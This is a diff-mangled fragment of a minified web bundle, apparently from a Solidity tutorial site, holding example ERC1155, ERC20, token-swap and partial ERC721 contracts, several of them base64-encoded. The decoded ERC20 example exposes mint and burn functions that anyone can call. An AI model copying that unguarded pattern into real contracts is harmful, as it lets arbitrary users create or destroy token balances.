                IERC1155TokenReceiver(to).onERC1155BatchReceived(
                    msg.sender, from, ids, values, data
                ) == IERC1155TokenReceiver.onERC1155BatchReceived.selector,
                "unsafe transfer"
            );
        }
    }

    // ERC165
    function supportsInterface(bytes4 interfaceId)
        external
        view
        returns (bool)
    {
        return interfaceId == 0x01ffc9a7 // ERC165 Interface ID for ERC165
            || interfaceId == 0xd9b67a26 // ERC165 Interface ID for ERC1155
            || interfaceId == 0x0e89341c; // ERC165 Interface ID for ERC1155MetadataURI
    }

    // ERC1155 Metadata URI
    function uri(uint256 id) public view virtual returns (string memory) {}

    // Internal functions
    function _mint(address to, uint256 id, uint256 value, bytes memory data)
        internal
    {
        require(to != address(0), "to = 0 address");

        balanceOf[to][id] += value;

        emit TransferSingle(msg.sender, address(0), to, id, value);

        if (to.code.length > 0) {
            require(
                IERC1155TokenReceiver(to).onERC1155Received(
                    msg.sender, address(0), id, value, data
                ) == IERC1155TokenReceiver.onERC1155Received.selector,
                "unsafe transfer"
            );
        }
    }

    function _batchMint(
        address to,
        uint256[] calldata ids,
        uint256[] calldata values,
        bytes calldata data
    ) internal {
        require(to != address(0), "to = 0 address");
        require(ids.length == values.length, "ids length != values length");

        for (uint256 i = 0; i < ids.length; i++) {
            balanceOf[to][ids[i]] += values[i];
        }

        emit TransferBatch(msg.sender, address(0), to, ids, values);

        if (to.code.length > 0) {
            require(
                IERC1155TokenReceiver(to).onERC1155BatchReceived(
                    msg.sender, address(0), ids, values, data
                ) == IERC1155TokenReceiver.onERC1155BatchReceived.selector,
                "unsafe transfer"
            );
        }
    }

    function _burn(address from, uint256 id, uint256 value) internal {
        require(from != address(0), "from = 0 address");
        balanceOf[from][id] -= value;
        emit TransferSingle(msg.sender, from, address(0), id, value);
    }

    function _batchBurn(
        address from,
        uint256[] calldata ids,
        uint256[] calldata values
    ) internal {
        require(from != address(0), "from = 0 address");
        require(ids.length == values.length, "ids length != values length");

        for (uint256 i = 0; i < ids.length; i++) {
            balanceOf[from][ids[i]] -= values[i];
        }

        emit TransferBatch(msg.sender, from, address(0), ids, values);
    }
}

contract MyMultiToken is ERC1155 {
    function mint(uint256 id, uint256 value, bytes memory data) external {
        _mint(msg.sender, id, value, data);
    }

    function batchMint(
        uint256[] calldata ids,
        uint256[] calldata values,
        bytes calldata data
    ) external {
        _batchMint(msg.sender, ids, values, data);
    }

    function burn(uint256 id, uint256 value) external {
        _burn(msg.sender, id, value);
    }

    function batchBurn(uint256[] calldata ids, uint256[] calldata values)
        external
    {
        _batchBurn(msg.sender, ids, values);
    }
}
"}],Uj=`

        Example of ERC1155

        // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -1583,7 +1583,7 @@ Closing a channel when Alice and Bob do not agree on the final balances
         _batchBurn(msg.sender, ids, values);
     }
 }
-
        `,Lj=({prev:s,next:a})=>r.jsx(A,{version:Ej,title:Qj,description:Tj,html:_j,prev:s,next:a,codes:Uj}),Oj="0.8.24",Pj="ERC20",$j="Example of ERC20 token in Solidity",qj=[{fileName:"ERC20.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9JRVJDMjAuc29sIjsKCmNvbnRyYWN0IEVSQzIwIGlzIElFUkMyMCB7CiAgICBldmVudCBUcmFuc2ZlcihhZGRyZXNzIGluZGV4ZWQgZnJvbSwgYWRkcmVzcyBpbmRleGVkIHRvLCB1aW50MjU2IHZhbHVlKTsKICAgIGV2ZW50IEFwcHJvdmFsKAogICAgICAgIGFkZHJlc3MgaW5kZXhlZCBvd25lciwgYWRkcmVzcyBpbmRleGVkIHNwZW5kZXIsIHVpbnQyNTYgdmFsdWUKICAgICk7CgogICAgdWludDI1NiBwdWJsaWMgdG90YWxTdXBwbHk7CiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikgcHVibGljIGJhbGFuY2VPZjsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikpIHB1YmxpYyBhbGxvd2FuY2U7CiAgICBzdHJpbmcgcHVibGljIG5hbWU7CiAgICBzdHJpbmcgcHVibGljIHN5bWJvbDsKICAgIHVpbnQ4IHB1YmxpYyBkZWNpbWFsczsKCiAgICBjb25zdHJ1Y3RvcihzdHJpbmcgbWVtb3J5IF9uYW1lLCBzdHJpbmcgbWVtb3J5IF9zeW1ib2wsIHVpbnQ4IF9kZWNpbWFscykgewogICAgICAgIG5hbWUgPSBfbmFtZTsKICAgICAgICBzeW1ib2wgPSBfc3ltYm9sOwogICAgICAgIGRlY2ltYWxzID0gX2RlY2ltYWxzOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgYmFsYW5jZU9mW21zZy5zZW5kZXJdIC09IGFtb3VudDsKICAgICAgICBiYWxhbmNlT2ZbcmVjaXBpZW50XSArPSBhbW91bnQ7CiAgICAgICAgZW1pdCBUcmFuc2Zlcihtc2cuc2VuZGVyLCByZWNpcGllbnQsIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKSB7CiAgICAgICAgYWxsb3dhbmNlW21zZy5zZW5kZXJdW3NwZW5kZXJdID0gYW1vdW50OwogICAgICAgIGVtaXQgQXBwcm92YWwobXNnLnNlbmRlciwgc3BlbmRlciwgYW1vdW50KTsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzZW5kZXIsIGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgYWxsb3dhbmNlW3NlbmRlcl1bbXNnLnNlbmRlcl0gLT0gYW1vdW50OwogICAgICAgIGJhbGFuY2VPZltzZW5kZXJdIC09IGFtb3VudDsKICAgICAgICBiYWxhbmNlT2ZbcmVjaXBpZW50XSArPSBhbW91bnQ7CiAgICAgICAgZW1pdCBUcmFuc2ZlcihzZW5kZXIsIHJlY2lwaWVudCwgYW1vdW50KTsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICBmdW5jdGlvbiBfbWludChhZGRyZXNzIHRvLCB1aW50MjU2IGFtb3VudCkgaW50ZXJuYWwgewogICAgICAgIGJhbGFuY2VPZlt0b10gKz0gYW1vdW50OwogICAgICAgIHRvdGFsU3VwcGx5ICs9IGFtb3VudDsKICAgICAgICBlbWl0IFRyYW5zZmVyKGFkZHJlc3MoMCksIHRvLCBhbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIF9idXJuKGFkZHJlc3MgZnJvbSwgdWludDI1NiBhbW91bnQpIGludGVybmFsIHsKICAgICAgICBiYWxhbmNlT2ZbZnJvbV0gLT0gYW1vdW50OwogICAgICAgIHRvdGFsU3VwcGx5IC09IGFtb3VudDsKICAgICAgICBlbWl0IFRyYW5zZmVyKGZyb20sIGFkZHJlc3MoMCksIGFtb3VudCk7CiAgICB9CgogICAgZnVuY3Rpb24gbWludChhZGRyZXNzIHRvLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgewogICAgICAgIF9taW50KHRvLCBhbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIGJ1cm4oYWRkcmVzcyBmcm9tLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgewogICAgICAgIF9idXJuKGZyb20sIGFtb3VudCk7CiAgICB9Cn0K"},{fileName:"IERC20.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzZW5kZXIsIGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwp9Cg=="},{fileName:"MyToken.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9FUkMyMC5zb2wiOwoKY29udHJhY3QgTXlUb2tlbiBpcyBFUkMyMCB7CiAgICBjb25zdHJ1Y3RvcihzdHJpbmcgbWVtb3J5IG5hbWUsIHN0cmluZyBtZW1vcnkgc3ltYm9sLCB1aW50OCBkZWNpbWFscykKICAgICAgICBFUkMyMChuYW1lLCBzeW1ib2wsIGRlY2ltYWxzKQogICAgewogICAgICAgIC8vIE1pbnQgMTAwIHRva2VucyB0byBtc2cuc2VuZGVyCiAgICAgICAgLy8gU2ltaWxhciB0byBob3cKICAgICAgICAvLyAxIGRvbGxhciA9IDEwMCBjZW50cwogICAgICAgIC8vIDEgdG9rZW4gPSAxICogKDEwICoqIGRlY2ltYWxzKQogICAgICAgIF9taW50KG1zZy5zZW5kZXIsIDEwMCAqIDEwICoqIHVpbnQyNTYoZGVjaW1hbHMpKTsKICAgIH0KfQo="},{fileName:"TokenSwap.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9JRVJDMjAuc29sIjsKCi8qCkhvdyB0byBzd2FwIHRva2VucwoKMS4gQWxpY2UgaGFzIDEwMCB0b2tlbnMgZnJvbSBBbGljZUNvaW4sIHdoaWNoIGlzIGEgRVJDMjAgdG9rZW4uCjIuIEJvYiBoYXMgMTAwIHRva2VucyBmcm9tIEJvYkNvaW4sIHdoaWNoIGlzIGFsc28gYSBFUkMyMCB0b2tlbi4KMy4gQWxpY2UgYW5kIEJvYiB3YW50cyB0byB0cmFkZSAxMCBBbGljZUNvaW4gZm9yIDIwIEJvYkNvaW4uCjQuIEFsaWNlIG9yIEJvYiBkZXBsb3lzIFRva2VuU3dhcAo1LiBBbGljZSBhcHByb3ZlcyBUb2tlblN3YXAgdG8gd2l0aGRyYXcgMTAgdG9rZW5zIGZyb20gQWxpY2VDb2luCjYuIEJvYiBhcHByb3ZlcyBUb2tlblN3YXAgdG8gd2l0aGRyYXcgMjAgdG9rZW5zIGZyb20gQm9iQ29pbgo3LiBBbGljZSBvciBCb2IgY2FsbHMgVG9rZW5Td2FwLnN3YXAoKQo4LiBBbGljZSBhbmQgQm9iIHRyYWRlZCB0b2tlbnMgc3VjY2Vzc2Z1bGx5LgoqLwoKY29udHJhY3QgVG9rZW5Td2FwIHsKICAgIElFUkMyMCBwdWJsaWMgdG9rZW4xOwogICAgYWRkcmVzcyBwdWJsaWMgb3duZXIxOwogICAgdWludDI1NiBwdWJsaWMgYW1vdW50MTsKICAgIElFUkMyMCBwdWJsaWMgdG9rZW4yOwogICAgYWRkcmVzcyBwdWJsaWMgb3duZXIyOwogICAgdWludDI1NiBwdWJsaWMgYW1vdW50MjsKCiAgICBjb25zdHJ1Y3RvcigKICAgICAgICBhZGRyZXNzIF90b2tlbjEsCiAgICAgICAgYWRkcmVzcyBfb3duZXIxLAogICAgICAgIHVpbnQyNTYgX2Ftb3VudDEsCiAgICAgICAgYWRkcmVzcyBfdG9rZW4yLAogICAgICAgIGFkZHJlc3MgX293bmVyMiwKICAgICAgICB1aW50MjU2IF9hbW91bnQyCiAgICApIHsKICAgICAgICB0b2tlbjEgPSBJRVJDMjAoX3Rva2VuMSk7CiAgICAgICAgb3duZXIxID0gX293bmVyMTsKICAgICAgICBhbW91bnQxID0gX2Ftb3VudDE7CiAgICAgICAgdG9rZW4yID0gSUVSQzIwKF90b2tlbjIpOwogICAgICAgIG93bmVyMiA9IF9vd25lcjI7CiAgICAgICAgYW1vdW50MiA9IF9hbW91bnQyOwogICAgfQoKICAgIGZ1bmN0aW9uIHN3YXAoKSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSBvd25lcjEgfHwgbXNnLnNlbmRlciA9PSBvd25lcjIsICJOb3QgYXV0aG9yaXplZCIpOwogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIHRva2VuMS5hbGxvd2FuY2Uob3duZXIxLCBhZGRyZXNzKHRoaXMpKSA+PSBhbW91bnQxLAogICAgICAgICAgICAiVG9rZW4gMSBhbGxvd2FuY2UgdG9vIGxvdyIKICAgICAgICApOwogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIHRva2VuMi5hbGxvd2FuY2Uob3duZXIyLCBhZGRyZXNzKHRoaXMpKSA+PSBhbW91bnQyLAogICAgICAgICAgICAiVG9rZW4gMiBhbGxvd2FuY2UgdG9vIGxvdyIKICAgICAgICApOwoKICAgICAgICBfc2FmZVRyYW5zZmVyRnJvbSh0b2tlbjEsIG93bmVyMSwgb3duZXIyLCBhbW91bnQxKTsKICAgICAgICBfc2FmZVRyYW5zZmVyRnJvbSh0b2tlbjIsIG93bmVyMiwgb3duZXIxLCBhbW91bnQyKTsKICAgIH0KCiAgICBmdW5jdGlvbiBfc2FmZVRyYW5zZmVyRnJvbSgKICAgICAgICBJRVJDMjAgdG9rZW4sCiAgICAgICAgYWRkcmVzcyBzZW5kZXIsCiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQsCiAgICAgICAgdWludDI1NiBhbW91bnQKICAgICkgcHJpdmF0ZSB7CiAgICAgICAgYm9vbCBzZW50ID0gdG9rZW4udHJhbnNmZXJGcm9tKHNlbmRlciwgcmVjaXBpZW50LCBhbW91bnQpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIlRva2VuIHRyYW5zZmVyIGZhaWxlZCIpOwogICAgfQp9Cg=="}],sA=`

        Any contract that follow the ERC20 standard is a ERC20 token.

        +`,_j=({prev:s,next:a})=>r.jsx(A,{version:Dj,title:Ej,description:Qj,html:Uj,prev:s,next:a,codes:Tj}),Lj="0.8.24",Oj="ERC20",Pj="Example of ERC20 token in Solidity",$j=[{fileName:"ERC20.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9JRVJDMjAuc29sIjsKCmNvbnRyYWN0IEVSQzIwIGlzIElFUkMyMCB7CiAgICBldmVudCBUcmFuc2ZlcihhZGRyZXNzIGluZGV4ZWQgZnJvbSwgYWRkcmVzcyBpbmRleGVkIHRvLCB1aW50MjU2IHZhbHVlKTsKICAgIGV2ZW50IEFwcHJvdmFsKAogICAgICAgIGFkZHJlc3MgaW5kZXhlZCBvd25lciwgYWRkcmVzcyBpbmRleGVkIHNwZW5kZXIsIHVpbnQyNTYgdmFsdWUKICAgICk7CgogICAgdWludDI1NiBwdWJsaWMgdG90YWxTdXBwbHk7CiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikgcHVibGljIGJhbGFuY2VPZjsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikpIHB1YmxpYyBhbGxvd2FuY2U7CiAgICBzdHJpbmcgcHVibGljIG5hbWU7CiAgICBzdHJpbmcgcHVibGljIHN5bWJvbDsKICAgIHVpbnQ4IHB1YmxpYyBkZWNpbWFsczsKCiAgICBjb25zdHJ1Y3RvcihzdHJpbmcgbWVtb3J5IF9uYW1lLCBzdHJpbmcgbWVtb3J5IF9zeW1ib2wsIHVpbnQ4IF9kZWNpbWFscykgewogICAgICAgIG5hbWUgPSBfbmFtZTsKICAgICAgICBzeW1ib2wgPSBfc3ltYm9sOwogICAgICAgIGRlY2ltYWxzID0gX2RlY2ltYWxzOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgYmFsYW5jZU9mW21zZy5zZW5kZXJdIC09IGFtb3VudDsKICAgICAgICBiYWxhbmNlT2ZbcmVjaXBpZW50XSArPSBhbW91bnQ7CiAgICAgICAgZW1pdCBUcmFuc2Zlcihtc2cuc2VuZGVyLCByZWNpcGllbnQsIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKSB7CiAgICAgICAgYWxsb3dhbmNlW21zZy5zZW5kZXJdW3NwZW5kZXJdID0gYW1vdW50OwogICAgICAgIGVtaXQgQXBwcm92YWwobXNnLnNlbmRlciwgc3BlbmRlciwgYW1vdW50KTsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzZW5kZXIsIGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgYWxsb3dhbmNlW3NlbmRlcl1bbXNnLnNlbmRlcl0gLT0gYW1vdW50OwogICAgICAgIGJhbGFuY2VPZltzZW5kZXJdIC09IGFtb3VudDsKICAgICAgICBiYWxhbmNlT2ZbcmVjaXBpZW50XSArPSBhbW91bnQ7CiAgICAgICAgZW1pdCBUcmFuc2ZlcihzZW5kZXIsIHJlY2lwaWVudCwgYW1vdW50KTsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICBmdW5jdGlvbiBfbWludChhZGRyZXNzIHRvLCB1aW50MjU2IGFtb3VudCkgaW50ZXJuYWwgewogICAgICAgIGJhbGFuY2VPZlt0b10gKz0gYW1vdW50OwogICAgICAgIHRvdGFsU3VwcGx5ICs9IGFtb3VudDsKICAgICAgICBlbWl0IFRyYW5zZmVyKGFkZHJlc3MoMCksIHRvLCBhbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIF9idXJuKGFkZHJlc3MgZnJvbSwgdWludDI1NiBhbW91bnQpIGludGVybmFsIHsKICAgICAgICBiYWxhbmNlT2ZbZnJvbV0gLT0gYW1vdW50OwogICAgICAgIHRvdGFsU3VwcGx5IC09IGFtb3VudDsKICAgICAgICBlbWl0IFRyYW5zZmVyKGZyb20sIGFkZHJlc3MoMCksIGFtb3VudCk7CiAgICB9CgogICAgZnVuY3Rpb24gbWludChhZGRyZXNzIHRvLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgewogICAgICAgIF9taW50KHRvLCBhbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIGJ1cm4oYWRkcmVzcyBmcm9tLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgewogICAgICAgIF9idXJuKGZyb20sIGFtb3VudCk7CiAgICB9Cn0K"},{fileName:"IERC20.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzZW5kZXIsIGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwp9Cg=="},{fileName:"MyToken.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9FUkMyMC5zb2wiOwoKY29udHJhY3QgTXlUb2tlbiBpcyBFUkMyMCB7CiAgICBjb25zdHJ1Y3RvcihzdHJpbmcgbWVtb3J5IG5hbWUsIHN0cmluZyBtZW1vcnkgc3ltYm9sLCB1aW50OCBkZWNpbWFscykKICAgICAgICBFUkMyMChuYW1lLCBzeW1ib2wsIGRlY2ltYWxzKQogICAgewogICAgICAgIC8vIE1pbnQgMTAwIHRva2VucyB0byBtc2cuc2VuZGVyCiAgICAgICAgLy8gU2ltaWxhciB0byBob3cKICAgICAgICAvLyAxIGRvbGxhciA9IDEwMCBjZW50cwogICAgICAgIC8vIDEgdG9rZW4gPSAxICogKDEwICoqIGRlY2ltYWxzKQogICAgICAgIF9taW50KG1zZy5zZW5kZXIsIDEwMCAqIDEwICoqIHVpbnQyNTYoZGVjaW1hbHMpKTsKICAgIH0KfQo="},{fileName:"TokenSwap.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9JRVJDMjAuc29sIjsKCi8qCkhvdyB0byBzd2FwIHRva2VucwoKMS4gQWxpY2UgaGFzIDEwMCB0b2tlbnMgZnJvbSBBbGljZUNvaW4sIHdoaWNoIGlzIGEgRVJDMjAgdG9rZW4uCjIuIEJvYiBoYXMgMTAwIHRva2VucyBmcm9tIEJvYkNvaW4sIHdoaWNoIGlzIGFsc28gYSBFUkMyMCB0b2tlbi4KMy4gQWxpY2UgYW5kIEJvYiB3YW50cyB0byB0cmFkZSAxMCBBbGljZUNvaW4gZm9yIDIwIEJvYkNvaW4uCjQuIEFsaWNlIG9yIEJvYiBkZXBsb3lzIFRva2VuU3dhcAo1LiBBbGljZSBhcHByb3ZlcyBUb2tlblN3YXAgdG8gd2l0aGRyYXcgMTAgdG9rZW5zIGZyb20gQWxpY2VDb2luCjYuIEJvYiBhcHByb3ZlcyBUb2tlblN3YXAgdG8gd2l0aGRyYXcgMjAgdG9rZW5zIGZyb20gQm9iQ29pbgo3LiBBbGljZSBvciBCb2IgY2FsbHMgVG9rZW5Td2FwLnN3YXAoKQo4LiBBbGljZSBhbmQgQm9iIHRyYWRlZCB0b2tlbnMgc3VjY2Vzc2Z1bGx5LgoqLwoKY29udHJhY3QgVG9rZW5Td2FwIHsKICAgIElFUkMyMCBwdWJsaWMgdG9rZW4xOwogICAgYWRkcmVzcyBwdWJsaWMgb3duZXIxOwogICAgdWludDI1NiBwdWJsaWMgYW1vdW50MTsKICAgIElFUkMyMCBwdWJsaWMgdG9rZW4yOwogICAgYWRkcmVzcyBwdWJsaWMgb3duZXIyOwogICAgdWludDI1NiBwdWJsaWMgYW1vdW50MjsKCiAgICBjb25zdHJ1Y3RvcigKICAgICAgICBhZGRyZXNzIF90b2tlbjEsCiAgICAgICAgYWRkcmVzcyBfb3duZXIxLAogICAgICAgIHVpbnQyNTYgX2Ftb3VudDEsCiAgICAgICAgYWRkcmVzcyBfdG9rZW4yLAogICAgICAgIGFkZHJlc3MgX293bmVyMiwKICAgICAgICB1aW50MjU2IF9hbW91bnQyCiAgICApIHsKICAgICAgICB0b2tlbjEgPSBJRVJDMjAoX3Rva2VuMSk7CiAgICAgICAgb3duZXIxID0gX293bmVyMTsKICAgICAgICBhbW91bnQxID0gX2Ftb3VudDE7CiAgICAgICAgdG9rZW4yID0gSUVSQzIwKF90b2tlbjIpOwogICAgICAgIG93bmVyMiA9IF9vd25lcjI7CiAgICAgICAgYW1vdW50MiA9IF9hbW91bnQyOwogICAgfQoKICAgIGZ1bmN0aW9uIHN3YXAoKSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSBvd25lcjEgfHwgbXNnLnNlbmRlciA9PSBvd25lcjIsICJOb3QgYXV0aG9yaXplZCIpOwogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIHRva2VuMS5hbGxvd2FuY2Uob3duZXIxLCBhZGRyZXNzKHRoaXMpKSA+PSBhbW91bnQxLAogICAgICAgICAgICAiVG9rZW4gMSBhbGxvd2FuY2UgdG9vIGxvdyIKICAgICAgICApOwogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIHRva2VuMi5hbGxvd2FuY2Uob3duZXIyLCBhZGRyZXNzKHRoaXMpKSA+PSBhbW91bnQyLAogICAgICAgICAgICAiVG9rZW4gMiBhbGxvd2FuY2UgdG9vIGxvdyIKICAgICAgICApOwoKICAgICAgICBfc2FmZVRyYW5zZmVyRnJvbSh0b2tlbjEsIG93bmVyMSwgb3duZXIyLCBhbW91bnQxKTsKICAgICAgICBfc2FmZVRyYW5zZmVyRnJvbSh0b2tlbjIsIG93bmVyMiwgb3duZXIxLCBhbW91bnQyKTsKICAgIH0KCiAgICBmdW5jdGlvbiBfc2FmZVRyYW5zZmVyRnJvbSgKICAgICAgICBJRVJDMjAgdG9rZW4sCiAgICAgICAgYWRkcmVzcyBzZW5kZXIsCiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQsCiAgICAgICAgdWludDI1NiBhbW91bnQKICAgICkgcHJpdmF0ZSB7CiAgICAgICAgYm9vbCBzZW50ID0gdG9rZW4udHJhbnNmZXJGcm9tKHNlbmRlciwgcmVjaXBpZW50LCBhbW91bnQpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIlRva2VuIHRyYW5zZmVyIGZhaWxlZCIpOwogICAgfQp9Cg=="}],qj=`

        Any contract that follow the ERC20 standard is a ERC20 token.

        ERC20 tokens provide functionalities to

        • transfer tokens
          • @@ -1777,7 +1777,7 @@ How to swap tokens require(sent, "Token transfer failed"); } } -`,aA=({prev:s,next:a})=>r.jsx(A,{version:Oj,title:Pj,description:$j,html:sA,prev:s,next:a,codes:qj}),nA="0.8.24",lA="ERC721",pA="Example of ERC721 non fungible token in Solidity",eA=[{fileName:"ERC721.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJRVJDMTY1IHsKICAgIGZ1bmN0aW9uIHN1cHBvcnRzSW50ZXJmYWNlKGJ5dGVzNCBpbnRlcmZhY2VJRCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChib29sKTsKfQoKaW50ZXJmYWNlIElFUkM3MjEgaXMgSUVSQzE2NSB7CiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBvd25lcikgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2IGJhbGFuY2UpOwogICAgZnVuY3Rpb24gb3duZXJPZih1aW50MjU2IHRva2VuSWQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAoYWRkcmVzcyBvd25lcik7CiAgICBmdW5jdGlvbiBzYWZlVHJhbnNmZXJGcm9tKGFkZHJlc3MgZnJvbSwgYWRkcmVzcyB0bywgdWludDI1NiB0b2tlbklkKQogICAgICAgIGV4dGVybmFsOwogICAgZnVuY3Rpb24gc2FmZVRyYW5zZmVyRnJvbSgKICAgICAgICBhZGRyZXNzIGZyb20sCiAgICAgICAgYWRkcmVzcyB0bywKICAgICAgICB1aW50MjU2IHRva2VuSWQsCiAgICAgICAgYnl0ZXMgY2FsbGRhdGEgZGF0YQogICAgKSBleHRlcm5hbDsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIGZyb20sIGFk